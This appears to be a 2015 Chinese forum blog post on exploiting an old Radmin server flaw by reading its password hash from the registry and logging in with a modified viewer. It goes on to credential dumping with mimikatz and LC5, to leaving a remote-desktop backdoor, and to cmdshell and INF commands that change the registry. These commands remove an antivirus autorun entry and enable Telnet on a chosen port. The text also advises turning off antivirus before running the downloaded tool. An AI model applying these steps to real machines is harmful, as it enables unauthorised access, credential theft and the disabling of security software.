radmin hash提权漏洞

2015-09-22 16:34:20 0 4390


radmin是平时在windows下用的比较多的一个远程管理工具。其具有支持多个连接和IP 过滤(即允许特定的IP控制远程机器)、个性化的档互传、远程关机、支持高分辨率模式、基于Windows NT的安全支持及密码保护以及提供日志文件支持等特性。不过老版本的radmin server2.X、radmin server3.0都存在一个“致命”漏洞 —— radmin hash提权漏洞。

对于该“致命”漏洞我之所以加了引号。是因为该漏洞的利用是需要有一定的前提条件的。即:要获取读取系统注册表的权限(并不需要有写权限)。当然,获得此权限的方法很多。基本上取得webshell、cmdshell后都能获取该权限。

一、利用方法

如果不怕麻烦的,可以看下红黑联盟上提供的一个利用OllyDBG进行hash欺骗的详细步骤 —— 反汇编破解Radmin密码实例。当然想省事也有省事的方法,网上早有人制作出了radmin_hash版的viewer程序。

从注册表的下列路径取得所要的hash值和端口值:
HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParametersParameter//默认密码注册表位置
HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParametersPort //默认端口注册表位置
parameters下的配置大致如下所示:
[HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters]
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:b5,bb,fc,50,93,ba,35,b0,7d,a6,57,f7,d6,f1,9a,a0
"Port"=hex:11,27,00,00
"Timeout"=hex:0a,00,00,00
"EnableLogFile"=hex:01,00,00,00
"LogFilePath"="c:logfile.txt"
"FilterIp"=hex:00,00,00,00
"DisableTrayIcon"=hex:00,00,00,00
"AutoAllow"=hex:00,00,00,00
"AskUser"=hex:00,00,00,00
"EnableEventLog"=hex:00,00,00,00
有人会问,我如何知道。他用的端口是多少。很简单,自己电脑上装上一个同版本的radmin,注册表中找到相关的位置。将其中的端口的hex值改成和查到的一样,再查看自己的设置里的端口变成了多少。上例中所取的值11 27 00 00 即是10001端口。而通radmin_hash修改版输入32位hash值所就会连接上主机。大致如下图:



当然,你如果对网上取到的版本不放心,可以像我一样在沙箱中运行。注意下载该软件时,要关闭杀毒软件,会报是木马的。我这里也分享该软件的下载地址。



连接完了以后,你就可以为所欲为了。可以利用mimikatz解析用户密码,也可以通过getpw获取用户的sam值,再通过LC5解密。获得密码后,可能通过远程桌面进行连结。(呵呵,多留一个后门总归是好的……)

二、利用各种shell获取注册表的方法

下面以一个cmdshell为例,解读操作注册表键值的方法。

1、读取注册表(利用regedit导出,利用type查询)
C:>regedit /e 1.reg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"
C:>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:>del 1.reg
2、修改/删除注册表项
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftTelnetServer1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg      
上面是利用echo写入一个reg文件,并通过regedit命令导入。而删除操作与上面类似:
要删除一个项,在名字前面加减号,比如:
[-HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesServ-U]
要删除一个值,在等号后面用减号,比如:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"KAVRun"=-
3、inf文件操作

如果regedit命令不允许我们直接操作,我们还可以绕道通过inf文件导入注册表。先建立一个reg.inf文件,内容如下:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWAREMicrosoftTelnetServer1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWAREMicrosoftTelnetServer1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEMCurrentControlSetServicesServ-U
HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun
然后运行如下命令(假设刚才的inf文件的路径是c:pathreg.inf),即可完成和上面reg文件一样的功能:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:pathreg.inf 
至于inf文件的内容每项的意思,可以参看DDK帮助手册。

总结:

这也是一个比较老的漏洞了(最早好像是在07年有人发现的)。但很多公司在用的版本中,估计没有升级到radmin3.4的还大有人在,包括我目前的公司在内。呵呵!不要打我公司的注意啊,因为在你看到这篇日志的时候,版本已经升上去了。

关于作者

godblack484篇文章1190篇回复T00ls认证专家。

一个高尚的人,一个纯粹的人,一个有道德的人,一个脱离了低级趣味的人,一个有益于人民的人。

评论0次

要评论?请先  登录  或  注册